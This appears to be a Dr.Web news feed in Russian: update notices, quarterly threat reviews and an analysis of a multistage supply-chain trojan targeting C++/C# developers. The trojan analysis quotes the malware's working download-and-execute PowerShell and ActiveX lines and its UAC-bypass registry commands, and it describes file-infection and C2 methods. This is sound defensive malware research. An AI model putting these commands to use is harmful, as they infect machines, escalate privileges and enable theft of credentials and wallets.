Все новости

Обновление сервера централизованного управления для Dr.Web Enterprise Security Suite и Dr.Web Industrial

Thu, 23 Jul 2026 17:12:09 GMT

Компания «Доктор Веб» выпускает обновление для сервера в составе Dr.Web Enterprise Security Suite и Dr.Web Industrial версии 13.0.1.202606110. Новая версия станет доступна для загрузки с 27 июля 2026 года через веб-интерфейс консоли управления.

Что дает новое обновление

В первую очередь релиз направлен на повышение стабильности работы Центра управления и исправление ряда ошибок, выявленных в предыдущей версии. В частности, устранены проблемы с отображением дочерних элементов при фильтрации в дереве антивирусной сети, исправлены ошибки в отправке оповещений администраторам и генерации отчетов. Полный перечень изменений доступен в Changelog.

Влияние на агенты (в том числе в Dr.Web Industrial)

Обновление сервера не затрагивает работу агентов на защищаемых узлах. Процесс обновления серверного компонента не требует перезагрузки или перенастройки агентского ПО - они продолжат функционировать в штатном режиме. Для промышленных сред, где применяется Dr.Web Industrial, это означает отсутствие каких-либо изменений в работе агентов, так как все исправления относятся исключительно к серверной части и интерфейсу управления.

Важно: Сервер Dr.Web будет автоматически перезапущен во время установки обновлений. Рекомендуем запланировать процедуру заранее на время наименьшей нагрузки.

Напоминаем, что своевременное обновление критически важно для поддержания необходимого уровня защиты и оптимальной функциональности ПО.

Обновление компонента антиспам в Dr.Web Enterprise Security Suite и в Dr.Web по подписке

Wed, 15 Jul 2026 10:45:04 GMT

Компания «Доктор Веб» выпускает обновление модуля антиспам 1.1.2.202604160 в составе Dr.Web Enterprise Security Suite и Dr.Web по подписке. Его можно будет загрузить с 20 июля 2026 года.

Модуль в режиме реального времени проверяет почтовый трафик и анализирует составные части электронных писем: заголовок, тело, гиперссылки, вложения. Работа компонента сбалансирована и не замедляет производительность почтового клиента.

В новой версии улучшено обнаружение спама и разбор ссылок, а также внесены внутренние изменения. Ранее было выпущено масштабное обновление, которое повысило эффективность распознавания и фильтрации нежелательного трафика.

Обращаем внимание пользователей Windows XP. Если у вас включена опция обновления только антивирусных баз, плагин Dr.Web для Microsoft Outlook будет работать некорректно: все входящие письма будут детектироваться как спам. Как это проверить: в настройках программы выбрать пункт «Обновление», затем нажать «Дополнительные настройки» и зайти в раздел «Обновляемые компоненты».

Рекомендуем пользователям этой операционной системы обновить ОС до более поздних версий или включить в настройках обновление всех модулей программы, а не только вирусных баз.

Цель – разработчики. Новый троян атакует цепочки поставок и наносит комбинированный ущерб зараженным ПК

Fri, 10 Jul 2026 00:00:00 GMT

Объектом исследования специалистов антивирусной лаборатории стала новая троянская программа. Она представляет собой угрозу типа supply chain attack, т. е. атака на цепочки поставок. Отличительная черта этого ВПО — фокус на проекты, созданные на языке программирования С++ и C#. Еще одна особенность — повышенная опасность. Троян объединяет в себе ряд поражающих факторов, одновременно выполняя несколько функций: стилера, клиппера, бэкдора, майнера и источника заражения файлов.

Первые случаи распространения трояна были зафиксированы в последнем квартале 2025 года, с тех пор он постоянно модифицируется разработчиками. В основном он распространяется по интернету через зараженные .exe и python файлы. Процесс заражения многоступенчатый, разберем протекание каждой стадии и их цели одну за другой.

Стадия 1. Trojan.DownLoader49.35384

Специалисты «Доктор Веб» обнаружили множество зараженных легитимных приложений с похожей структурой. В изначальный исполняемый файл добавлен глобальный объект, а выполнение троянизированного приложения начинается с получения доступа к системным API через метод PEB walking. Далее стандартная функция initterm проходит таблицу указателей функций и инициализирует их, где одна из таких функций является вредоносной и запускает PowerShell команду. В некоторых версиях трояна эта нагрузка хранится в зашифрованном виде.

Запуск через initterm

PowerShell команда скачивает и выполняет вредоносный файл Trojan.DownLoader49.35687, что означает запуск второй стадии.

Вредоносная PowerShell команда

В дополнение к исполняемым файлам были обнаружены файлы на языке Python (Python.Downloader.255). В них тот же вредоносный код был зашифрован с помощью механизма симметричного шифрования Fernet. Он спрятан за простой обфускацией — множеством пробелов в первой строке. В этом случае выполнение также проходит в несколько этапов.

Вредоносные Python файлы

Стадия 2. Trojan.DownLoader49.35687

На этом этапе троян Trojan.DownLoader49.35687 выполняет проверку своего запуска в песочнице. Кроме этого, он создает объект синхронизации mutex c именем Global\PFNMX (фиксированное значение). Пример подобного объекта: \Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008. Таким образом троян проверяет, не запущена ли ранее на компьютере другая копия.

Во время второй стадии троян пытается получить адреса C2 сервера с помощью публичных репозиториев GitHub и игровой платформы Steam. На них злоумышленники оставляют домены, которые троян считывает и использует как URL для загрузки третьей стадии — трояна BackDoor.Siggen2.5906.

Аккаунты Steam, созданные злоумышленниками, содержат название домена в открытом виде.

Аккаунт Steam с C2 доменом

На GitHub злоумышленники сохранили зашифрованный адрес C2 домена в виде raw файла: raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine. Троян загружает этот файл и расшифровывает его сначала через Base64, а затем с помощью операции XOR с ключом ZwFlushKey.

Зашифрованные домены

После скачивания следующей стадии, Trojan.DownLoader49.35687 внедряет ее в процесс одного из 41 заранее указанных исполняемых файлов из C:\Windows\System32.

Адрес домена С2, с которым удалось установить связь, добавляется к прописанным в исходном коде трояна строкам и передается следующей стадии через именованный канал pipe\VccFramework.

Стадия 3. BackDoor.Siggen2.5906

На этой стадии происходит основная вредоносная деятельность. BackDoor.Siggen2.5906 создает объект синхронизации mutex с фиксированным именем вида Global\PFNX_Side (фиксированное значение). Затем через ранее созданный канал троян получает данные от второй стадии, откуда извлекает идентификаторы трояна и домен С2, с которым BackDoor.Siggen2.5906 будет коммуницировать.

Чтобы закрепиться в системе, троян скачивает файл «bungee.boo», который выполняет функции стадии 2 — Trojan.DownLoader49.35687, и подменяет им DLL файлы:

«profapi.dll» приложения Discord,
«domain_actions.dll» в папке «Domain Actions» и «well_known_domains.dll» в папке «Well Known Domains» приложения Microsoft Edge,
«C:\Windows\omadmapi.dll».

Дополнительно BackDoor.Siggen2.5906 может модифицировать системный реестр Windows таким образом, что при открытии архивированных файлов с помощью WinRar.exe будет запускаться вредоносный код.

Для действий с правами администратора троян использует технику обхода UAC. ВПО генерирует .vbs файл с названием из случайных цифр, в котором оставляет команду для выполнения с правами администратора. Далее через cmd.exe запускаются команды:

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

Затем троян реализует 5 вредоносных функций: стилер, клиппер, бэкдор, майнер и источник заражения файлов.

Стилер

Троян способен красть различную информацию:

токены Discord, которые позволяют войти в чужие аккаунты без ввода логина/пароля;
пароли и куки из браузеров Chrome, Edge, Opera, Brave, Yandex и др. Кроме обычных техник извлечения данных, может использовать файл CCCWF.tmp (Trojan.PWS.Siggen5.33623). Он встраивается в браузер, а затем считывает пароли и сохраняет их в текстовые файлы;
папки Telegram Desktop;
папки криптокошелька Exodus.

Кроме хищений папок Exodus, троян производит модификацию криптокошелька. Для этого он находит файл app.asar и заменяет его на копию, скачанную с URL balista[.]lol/Stb/PokerFace/RTApp[.]txt при помощи curl. В подмененной версии в index.js (Trojan.Siggen32.44702) находится функция unlock(), которая при запуске отправляет мнемонические фразы кошелька на сервер злоумышленников.

Подмененный файл index.js

Клиппер

Особо опасная функция трояна. ВПО постоянно следит за буфером обмена пользователя: ищет данные банковских карт и отправляет их на сервер злоумышленников. Также вредонос заменяет адреса криптокошельков на подставные, которые получает от C2 сервера.

Бэкдор

Функциональность трояна позволяет злоумышленникам удаленно управлять зараженным ПК с помощью команд:

exc	скачать файл с url при помощи curl и запустить его
RVRS	запустить Reverse Proxy
RUNCMD	запустить команду через cmd
GETFILE	загрузить содержимое определенного файла на управляющий сервер
LISTDIR	отправить список файлов из определенной директории компьютера на управляющий сервер
TROLL	запустить команду для троллинга пользователя, есть опции earrape, scary_sound, rickroll, mute_audio, jumpscare_screamer и т. д.

Майнер

При помощи curl троян скачивает с сервера и запускает файл https://files[.]catbox[.]moe/lvh9j3[.]bin — Trojan.Packed2.50953. Своим строением и действиями он похож на стадию 2, только вместо BackDoor.Siggen2.5906 он скачивает и внедряет Trojan.BtcMine.3956. Этот майнер запускается только после определенного периода бездействия пользователя. ВПО использует инструменты XMRig, T-Rex и TeamRedMiner с открытым исходным кодом.

Заражение файлов

Главная отличительная черта этого трояна — заражение файлов и дальнейшее самостоятельное распространение. Список заражаемых файлов:

imgui_impl_win32.cpp,
.suo,
.exe,
winnetwk.h (Windows SDK),
.vcxproj и .csproj.

Чтобы определить пути к файлам, которые можно заразить, троян перебирает диски и запускает команду. Пример для диска A://

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

Злоумышленники строят свой расчет на том, что разработчики будут публиковать свои проекты с вредоносным кодом в открытом доступе. Другие разработчики, которые будут собирать, компилировать или модифицировать проект, автоматически заразят свои компьютеры из-за файлов .suo, .vcxproj и .csproj, а обычные пользователи могут запустить зараженные исполняемые файлы, созданные с помощью скомпрометированных инструментов разработки.

Файл imgui_impl_win32.cpp. Trojan.Loader.3129

Файл imgui_impl_win32.cpp — часть популярной библиотеки Dear ImGui, отвечающей за графический интерфейс для языка программирования С++. Троян внедряет в файл две строки: первая содержит полезную нагрузку, вторая запускает ее.

Строка кода с полезной нагрузкой

Строка кода с запуском пэйлоада

Итог — команда


start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }"

Таким образом, библиотека оказывается зараженной и любые созданные пользователем приложения на С++ будут иметь в себе вредоносный код. При передаче или загрузке подобных приложений заражение будет распространяться дальше.

Файлы .suo. Trojan.Loader.3138

Это расширение файлов среды разработки Microsoft Visual Studio. В них хранятся настройки пользователя для определенных проектов. Троян заменяет оригинальный файл на зараженный, полученный с C2.

Зараженный файл

В результате при открытии проекта в Visual Studio запускается вредоносный код:


javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();

Файлы winnetwk.h. Trojan.Loader.3184

Windows SDK — официальный набор инструментов Microsoft, который позволяет создавать приложения для ОС Windows.

С помощью реестра троян находит папку, куда установлен Windows SDK. В этой папке происходит поиск файла winnetwk.h, ответственного за работу с сетевыми ресурсами. Затем в него добавляется вредоносный код.

Зараженный файл winnetwk.h

После этого все программы, созданные с помощью winnetwk.h, будут иметь вредоносный код, который запускает стадию 2.

Файлы .exe

Троян ищет подходящие .exe файлы и внедряет в них функции инициализации API и запуска initterm. Затем файл начинает работать как Trojan.DownLoader49.35384, он же стадия 1.

Файлы .vcxproj (Trojan.Loader.3128, Trojan.Loader.3127) и .csproj (Trojan.Loader.3126)

Это файлы проектов Visual Studio на языках программирования C++ и C#. В них добавляется команда PreBuildEvent, которая запускается перед каждой сборкой проекта. Ранние версии трояна добавляли код, подобный стадии 1.

Ранняя версия кода

В новых версиях код стал сложнее, появилась дополнительная обфускация.

Новая версия кода

Один из этапов выполнения Trojan.Loader.3128

В результате вредоносной команды записывается вредоносный .vbs файл, который, в свою очередь, запускает PowerShell payload. Троян делает запрос к URL-адресам:

youtu.be/akoxddx6lgc,
steamcommunity.com/profiles/76561198737324192.

На этих адресах хранится другой URL-адрес, зашифрованный с помощью base64.

YouTube-аккаунт с зашифрованным URL-адресом

После расшифровки троян получает C2 домен, к которому обращается за нагрузкой, сходной со стадией 2.

Описание работы трояна позволяет сделать вывод, что он представляет повышенную опасность из-за комбинирования целого ряда вредоносных функций. Во избежание заражения своего компьютера и дальнейшего распространения трояна рекомендуем регулярно обновлять антивирусные базы и проверять все скачанные из интернета файлы. Пользователи антивируса Dr.Web Security Space и Dr.Web Desktop Security Suite могут быть спокойны, поскольку троян надежно определяется и удаляется антивирусами Dr.Web. Файлы типа .vcxproj, .csproj и imgui лечатся, из них удаляется вредоносный код.

Подробнее об Trojan.DownLoader49.35384

Подробнее об Trojan.DownLoader49.35687

Подробнее об BackDoor.Siggen2.5906

Подробнее об Trojan.BtcMine.3956

Индикаторы компрометации

Обновлено Лицензионное соглашение к программным продуктам Dr.Web

Thu, 02 Jul 2026 16:05:38 GMT

Компания «Доктор Веб» обновила Лицензионное соглашение к программным продуктам Dr.Web. С документом можно ознакомиться по ссылке https://license.drweb.ru/agreement/.

Перечень изменений:

текст структурирован по тематическим разделам для удобной навигации;
даны определения терминов для лучшего понимания текста документа и предупреждения ошибочного толкования;
уточнена разница между разрешенным и нелицензионным использованием программных продуктов Dr.Web;
даны пояснения касательно часто возникающих у пользователей вопросов: на каких устройствах можно использовать приобретенную лицензию, обязательно ли иметь защищаемое устройство в своей собственности, и другие подобные.

Используя программные продукты Dr.Web после вступления в силу новой редакции Лицензионного соглашения, тем самым вы подтверждаете принятие новых условий в полном объеме. Если вы не согласны с изменениями, вам необходимо удалить ПО Dr.Web со своих устройств.

Обращаем ваше внимание, что данный документ актуален для всех программных продуктов семейства Dr.Web за исключением Dr.Web FixIt! и Dr.Web vxCube. Эти два решения имеют собственные Лицензионные соглашения.

«Доктор Веб»: обзор вирусной активности во II квартале 2026 года

Wed, 01 Jul 2026 09:00:00 GMT

Скачать PDF

1 июля 2026 года

Согласно статистике детектирований антивируса Dr.Web, во II квартале 2026 года общее число обнаруженных угроз увеличилось на 5,72% по сравнению с I кварталом. Число уникальных угроз возросло на 95,32%. Чаще всего на защищаемых устройствах обнаруживались рекламные приложения и рекламные трояны, вредоносные программы-майнеры и трояны, которые используются для запуска других угроз.

В почтовом трафике наиболее часто детектировались вредоносные скрипты и различные троянские приложения, среди которых были загрузчики, дропперы, похитители паролей и майнеры. Распространение также получили бэкдоры, фишинговые документы и различные эксплойты.

Пользователи, чьи файлы были затронуты троянами-шифровальщиками, чаще всего сталкивались с энкодерами Trojan.Encoder.35534, Trojan.Encoder.41868 и Trojan.Encoder.37400. При этом число поступивших в Службу технической поддержки «Доктор Веб» запросов на расшифровку по сравнению с предыдущим кварталом несколько сократилось.

Во II квартале 2026 года интернет-аналитики компании «Доктор Веб» наблюдали рост числа фишинговых атак на пользователей мессенджера MAX. Злоумышленники также эксплуатировали актуальную новостную повестку и соответствующим образом подстраивали под нее популярные мошеннические схемы.

В апреле стало известно, что в одном из обновлений Microsoft Visual Studio Code содержался вредоносный код. Им оказался троянский скрипт в составе публичной JavaScript-библиотеки es5-ext, которая была включена в обновленное ПО. Данный скрипт запускается при условии соответствия часового пояса ряда российских городов и демонстрирует в консоли разработчика призыв с антироссийской позицией.

В мае мы предупредили о распространении вредоносной программы JobStealer, нацеленной на пользователей macOS и Windows. Киберпреступники выдавали ее за ПО для проведения онлайн-собеседований. Троян JobStealer похищает различную конфиденциальную информацию, включая данные из порядка 300 браузерных расширений-криптокошельков, файлы мессенджера Telegram, сохраненные в браузерах пароли и данные банковских карт, а также файлы куки.

В июне специалисты антивирусной лаборатории компании «Доктор Веб» рассказали о новом рекламном трояне Android.MagicAd.1, способном демонстрировать рекламу в фоновом режиме благодаря возможности обходить ограничения операционной системы Android. Для этого троян эксплуатирует сторонние приложения, выбирая необходимую методику в зависимости от производителя целевого устройства.

Среди вредоносных приложений для Android-устройств лидерство по числу детектирований на защищаемых устройствах сохранили банковские трояны Android.Banker. При этом вирусописатели продолжили активно использовать различные инструменты для моддинга Android-программ, чтобы защитить вредоносное ПО от детектирования антивирусами. Вместе с тем, в течение II квартала наши вирусные аналитики обнаружили в каталоге Google Play ряд новых троянских программ, созданных для подписки пользователей на платные мобильные услуги.

Главные тенденции II квартала

Возросло число угроз, обнаруженных на защищаемых устройствах.
Среди детектируемых угроз значительно увеличилось число уникальных файлов.
Количество запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками, по сравнению с I кварталом сократилось.
Мошенники стали чаще атаковать пользователей российского мессенджера MAX.
Банковские трояны Android.Banker остались самыми распространенными вредоносными программами для Android-устройств.
Специалисты «Доктор Веб» обнаружили рекламный троян Android.MagicAd.1, способный обходить ограничения ОС Android и показывать объявления из фонового режима.
Вирусописатели распространяли вредоносную программу JobStealer, предназначенную для кражи конфиденциальных данных у пользователей компьютеров под управлением macOS и Windows.
В одном из обновлений Microsoft Visual Studio Code был обнаружен вредоносный код.

По данным сервиса статистики «Доктор Веб»

Наиболее распространенные угрозы II квартала 2026 года

Adware.Downware.20091
Adware.Downware.20766: Рекламное ПО, выступающее в роли промежуточного установщика пиратских программ.
Trojan.Siggen31.34463: Троян, написанный на языке программирования Go и предназначенный для загрузки в целевую систему различных майнеров и рекламного ПО. Вредоносная программа является DLL-файлом и располагается в %appdata%\utorrent\lib.dll. Для своего запуска эксплуатирует уязвимость класса DLL Search Order Hijacking в торрент-клиенте uTorrent.
Trojan.BPlug.4268: Детектирование вредоносного компонента браузерного расширения WinSafe. Этот компонент представляет собой сценарий JavaScript, который демонстрирует навязчивую рекламу в браузерах.
Trojan.Starter.8319: Детектирование вредоносных XML-скриптов, которые запускают троян Trojan.AutoIt.289 и его компоненты.

Статистика вредоносных программ в почтовом трафике

Наиболее распространенные угрозы II квартала 2026 года в почтовом трафике

X97M.DownLoader.2343: XLSX-файл (формат электронных таблиц Microsoft Excel) с OLE-объектом, скачивающим вредоносный файл на атакуемый компьютер.
W97M.DownLoader.2938: Семейство троянов-загрузчиков, использующих уязвимости документов Microsoft Office. Они предназначены для загрузки других вредоносных программ на атакуемый компьютер.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Эксплойты для использования уязвимостей в ПО Microsoft Office, позволяющие выполнить произвольный код.
JS.Muldrop.1171: Вредоносный скрипт в формате JavaScript, который запускает в целевой системе скрытое в нем ВПО.

Шифровальщики

По сравнению с I кварталом 2026 года, во II квартале число запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками, незначительно сократилось — на 2,67%.

Динамика поступления запросов на расшифровку в Службу технической поддержки «Доктор Веб»:

Наиболее распространенные энкодеры II квартала 2026 года

Trojan.Encoder.35534 — 14,47% обращений пользователей
Trojan.Encoder.41868 — 5,26% обращений пользователей
Trojan.Encoder.37400 — 3,95% обращений пользователей
Trojan.Encoder.35209 — 3,29% обращений пользователей
Trojan.Encoder.44197 — 2,63% обращений пользователей

Сетевое мошенничество

Одной из тенденций, которую интернет-аналитики «Доктор Веб» наблюдали во II квартале 2026 года, стало то, что на фоне роста аудитории российского мессенджера MAX злоумышленники начали активнее атаковать пользователей данного сервиса. При этом они применяют известные схемы, которые ранее были ориентированы на пользователей других мессенджеров, таких как Telegram и WhatsApp. Например, наши специалисты выявили множество мошеннических сайтов, созданных с целью кражи учетных записей MAX под прикрытием различных голосований. Потенциальной жертве предлагается проголосовать в том или ином конкурсе, но для этого от нее требуется войти в учетную запись, указав номер мобильного телефона и поступивший после его ввода проверочный код. Когда пользователь вводит все данные, атакующие получают доступ к его аккаунту.

Пример одного из фишинговых сайтов, с помощью которого мошенники получают доступ к учетной записи мессенджера MAX жертвы

В течение II квартала интернет-аналитики «Доктор Веб» отмечали появление очередных мошеннических сайтов, связанных с инвестициями. При этом киберпреступники следуют современным тенденциям и продолжают активно эксплуатировать тематику искусственного интеллекта. Например, на некоторых интернет-ресурсах они предлагали потенциальным жертвам присоединиться к новому инвестиционному проекту, якобы имеющему отношение к крупным российским кредитным организациям. Злоумышленники обещали доступ к специализированному чат-боту на основе нейросети ChatGPT, помогающему в инвестировании. Чтобы стать участниками «проекта», посетители сайта должны были пройти регистрацию, указав персональную информацию.

Мошеннический сайт предлагает зарегистрироваться в инвестиционном проекте, якобы имеющем отношение к одному из российских банков, и получить доступ к специализированному финансовому чат-боту на основе нейросети ChatGPT

В то же время мошенники пытались привлечь русскоязычных пользователей не только именами российских банков, но и иностранных кредитных организаций. Например, ряд веб-сайтов псевдоинвестиционных сервисов киберпреступники преподносили как имеющие отношение к южнокорейским банкам.

Один из мошеннических сайтов, предлагавший русскоговорящим пользователям стать участниками некоего инвестиционного проекта одного из южнокорейских банков и обещавший доход от 2 000 000 южнокорейских вон

Во II квартале сохранялась активность мошенников, которые пытались украсть данные учетных записей от различных сервисов. Так, среди множества фишинговых сайтов встречались поддельные интернет-ресурсы транспортных компаний. Один из них был нацелен на клиентов одной из российских служб экспресс-доставки. Потенциальным жертвам предлагалось войти в свою учетную запись по номеру мобильного телефона, привязанному к аккаунту, либо авторизоваться через Госуслуги. При этом даже после «входа» в учетную запись первым способом сайт все равно демонстрировал вторую фишинговую форму под видом авторизации с использованием Госуслуг.

С помощью мошеннического сайта злоумышленники могли похищать данные сразу нескольких учетных записей — от личного кабинета на сайте транспортной компании и от портала Госуслуги

Наши эксперты также выявляли новые фишинговые веб-сайты кредитных организаций различных стран. Так, вкладчикам одного из банков США мошенники предлагали войти в учетную запись и проверить доступность повышенной процентной ставки для «лояльных клиентов»:

В другом случае фишинговый сайт имитировал внешний вид одного из эквадорских банков и запрашивал у пользователей логин и пароль от учетной записи онлайн-банка:

Еще одна фишинговая схема была ориентирована на британских пользователей. Киберпреступники создавали поддельные сайты государственных сервисов, где предлагали уплатить штраф за неправильную парковку.

У потенциальных жертв запрашивалась подробная персональная информация — якобы для проверки личности, после чего те перенаправлялись на страницу оплаты «штрафа».

Одной из распространенных мошеннических схем остается получение гражданами тех или иных безвозмездных выплат. Однако киберпреступники постоянно адаптируют ее к текущим событиям. Так, в преддверии празднования Дня России стали появляться поддельные сайты российских кредитных организаций, где посетителям злоумышленники обещали праздничные выплаты. На одном из них пользователям за прохождение опроса якобы полагалось от 5 000 до 300 000 рублей:

В другом варианте схемы пользователи после прохождения опроса якобы могли рассчитывать на получение «помощи» в размере 5 000 рублей:

А на фоне спекулятивных сообщений о нехватке топлива в некоторых российских регионах ряд таких сайтов обещал ваучеры на бесплатное получение от 20 до 100 литров горючего:

После того как посетители этих сайтов отвечали на несколько простых вопросов, им для получения обещанной награды предлагалось пройти «идентификацию личности». Для этого требовалось указать имя и фамилию, номер мобильного телефона, а также номер банковской карты. В дальнейшем мошенники могли использовать эту информацию, чтобы похитить деньги жертв.

Среди выявленных во II квартале нежелательных сайтов также встречались поддельные интернет-порталы Международной Федерации Футбола FIFA, на которых пользователи якобы могли официально приобрести билеты на матчи Чемпионата мира по футболу 2026 года, фирменные сувенирные товары, а также различные премиум-услуги. Как и на настоящем сайте, посетителям этих подделок предлагалось войти в учетную запись FIFA ID, однако форма для ввода логина и пароля в данном случае принимала любые данные.

Поддельная форма входа в учетную запись FIFA ID

После того как любители футбола выбирали интересующий их товар, им предлагалось оформить покупку и произвести оплату. При этом в процессе оплаты пользователи попадали на сайт одного из сервисов, который находится в базе интернет-ресурсов, не рекомендуемых антивирусом Dr.Web.

Поддельный сайт Международной Федерации Футбола якобы позволял официально приобретать лицензированные продукты и сервисы

Наши эксперты также зафиксировали ряд спам-кампаний, направленных на распространение ссылок на поддельные сайты российских маркетплейсов, где злоумышленники предлагали потенциальным жертвам принять участие в «юбилейном розыгрыше призов». Мошенники обещали возможность получить как денежные призы — вплоть до 1 000 000 рублей, так и компьютерную и мобильную технику:

Для участия в «акции» пользователи должны были нажать соответствующую кнопку на таких сайтах, после чего на них имитировался процесс розыгрыша призов. После нескольких попыток потенциальной жертве сообщалось, что она выиграла несколько подарков, и у нее якобы есть возможность выбора: получить сами призы — в пункте выдачи маркетплейса, или же их денежный эквивалент — переводом на банковский счет:

При выборе опции получения призов в пункте выдачи сайты сообщали, что необходимые товары закончились на складе, но пользователь якобы все еще может обменять их на деньги. После этого на странице имитировался чат с оператором для «подтверждения» намерения конвертировать призы. Для этого потенциальная жертва должна была указать номер банковской карты:

После его ввода сайты запрашивали оплату государственной пошлины — для «официального оформления выигрыша»:

Никаких призов жертвы мошенников на самом деле не получали. Они не только передавали им данные своих банковских карт, но и отдавали собственные деньги.

Узнайте больше о нерекомендуемых антивирусом Dr.Web сайтах

Вредоносное и нежелательное ПО для мобильных устройств

По данным статистики детектирований Dr.Web Security Space для мобильных устройств, во II квартале 2026 года пользователи стали реже сталкиваться с банковскими троянами Android.Banker, однако эти троянские приложения остались самым распространенным вредоносным ПО. Также наблюдалось очередное снижение активности рекламных троянов Android.HiddenAds и Android.MobiDash.

Наиболее часто детектируемыми потенциально опасными программами во II квартале стали приложения Tool.Obfuscator.TrashCode и Tool.NPMod, модифицированные при помощи утилиты для моддинга NP Manager. Вирусописатели используют этот инструмент для защиты вредоносного ПО от обнаружения антивирусами. Самыми распространенными нежелательными программами оказались поддельные антивирусы Program.FakeAntiVirus. Для «лечения» якобы найденных угроз они требуют приобрести полную версию.

Наиболее активным рекламным ПО стали модули Adware.AdPush, которые демонстрируют вводящие в заблуждение уведомления и собирают конфиденциальные данные. Распространение вновь получили приложения-оптимизаторы работы ОС Android Adware.Bastion.1.origin. Они создают уведомления с сообщениями о якобы нехватке оперативной памяти и ошибках системы, чтобы показывать рекламу во время «оптимизации». Высокую активность сохранили и рекламные программы Adware.Opensite.15. Злоумышленники распространяют их под видом чит-программ, с помощью которых пользователи якобы могут получить различные внутриигровые ресурсы. В действительности эти программы лишь загружают сайты с рекламой.

В июне специалисты компании «Доктор Веб» предупредили о трояне Android.MagicAd.1, способном обходить ограничения ОС Android и демонстрировать рекламу в фоновом режиме. Android.MagicAd.1 использует для этого сторонние приложения, а также ряд методик, которые он выбирает в зависимости от производителя целевого устройства.

В течение II квартала наши вирусные аналитики выявили в каталоге Google Play очередные троянские программы семейств Android.Joker и Android.Subscription, подписывающие пользователей на платные сервисы. Суммарно они были загружены не менее 2 600 000 раз.

Наиболее заметные события, связанные с «мобильной» безопасностью во II квартале

Банковские трояны Android.Banker сохранили лидерство по числу детектирований вредоносного ПО на защищаемых Dr.Web устройствах.
Злоумышленники продолжили активно применять специализированные инструменты для моддинга Android-программ с целью защиты банковских троянов от обнаружения антивирусами.
Активность рекламных троянов Android.MobiDash и Android.HiddenAds вновь снизилась.
Вирусные аналитики «Доктор Веб» выявили трояна Android.MagicAd.1, который эксплуатирует сторонние программы для обхода ограничений ОС Android и демонстрации рекламы в фоновом режиме.
В каталоге Google Play были обнаружены новые троянские приложения, подписывающие пользователей на платные услуги.

Более подробно о вирусной обстановке для мобильных устройств во II квартале 2026 года читайте в нашем обзоре.

«Доктор Веб»: обзор вирусной активности для мобильных устройств во II квартале 2026 года

Wed, 01 Jul 2026 06:00:00 GMT

Скачать PDF

1 июля 2026 года

Согласно данным статистики детектирований Dr.Web Security Space для мобильных устройств, во II квартале 2026 года наблюдалось снижение активности банковских троянов Android.Banker — на 31,83% по сравнению с I кварталом. Вместе с тем, они остались самым распространенным вредоносным ПО для Android: на это семейство пришлось 23,28% детектирований соответствующего типа угроз. Эти вредоносные программы похищают различные конфиденциальные данные, такие как СМС с одноразовыми кодами от кредитных организаций, логины и пароли от учетных записей интернет-банка, а также могут демонстрировать фишинговые окна. Как и кварталом ранее, пользователи чаще всего сталкивались с подсемейством Android.Banker.Mamont, включающим различные вредоносные приложения.

В течение минувших трех месяцев продолжалось снижение активности рекламных троянов семейств Android.MobiDash и Android.HiddenAds. При этом они все еще являются одними из наиболее часто встречающихся вредоносных Android-приложений, и отдельные их модификации по-прежнему находятся среди лидеров по количеству детектирований вредоносного ПО.

Самым распространенным потенциально опасным ПО с долей свыше 66% вновь стали программы, в которые для запутывания логики добавлен мусорный код (они детектируются как Tool.Obfuscator.TrashCode). Такая модификация выполняется при помощи хакерских инструментов для моддинга NP Manager. В том числе их применяют и злоумышленники — для защиты вредоносных программ, таких как банковские трояны Android.Banker.Mamont, от обнаружения антивирусами.

На втором месте остались приложения, которые также модифицируются при помощи утилиты NP Manager, но с использованием других ее функциональных возможностей. Например, в этом инструменте предусмотрены различные модули для защиты и обфускации кода программ, а также для обхода проверки их цифровой подписи после того, как приложения были модифицированы. Вирусописатели используют данную функциональность для защиты вредоносного ПО от антивирусов. Антивирусные продукты Dr.Web детектируют измененные таким образом программы как Tool.NPMod.

Среди наиболее распространенных потенциально опасных приложений вновь оказались и программы, модифицированные при помощи утилиты Tool.LuckyPatcher. Для их модификации утилита загружает из интернета специально подготовленные скрипты.

Самыми активными нежелательными программами во II квартале стали приложения Program.FakeAntiVirus, имитирующие работу антивирусов. Они якобы выявляют те или иные угрозы и затем предлагают приобрести полную версию для «борьбы» с ними. На долю таких подделок пришлось более 44% нежелательного ПО, выявленного на Android-устройствах.

Наиболее распространенным рекламным ПО стали модули Adware.AdPush, которые могут быть встроены в Android-приложения. Они демонстрируют рекламные уведомления, вводящие пользователей в заблуждение. Эти модули также собирают различные конфиденциальные данные. Кроме того, пользователи продолжали сталкиваться с программами-оптимизаторами Adware.Bastion.1.origin. Они периодически создают уведомления с вводящими в заблуждение сообщениями о якобы возникающих ошибках системы и нехватке оперативной памяти. Эти приложения демонстрируют рекламу во время «оптимизации». Высокую активность вновь проявили и рекламные программы Adware.Opensite.15. Злоумышленники выдают их за приложения с читами, которые якобы позволяют получать ресурсы в играх, но на самом деле программы только загружают сайты с объявлениями.

В начале июня специалисты компании «Доктор Веб» сообщили об Android.MagicAd.1 — трояне, способном обходить ограничения ОС Android и показывать рекламу в фоновом режиме. Для этого Android.MagicAd.1 эксплуатирует сторонние приложения, а также использует определенные методики, которые выбирает на основе производителя зараженного устройства. Подробнее об этом трояне рассказано в соответствующем материале на нашем сайте.

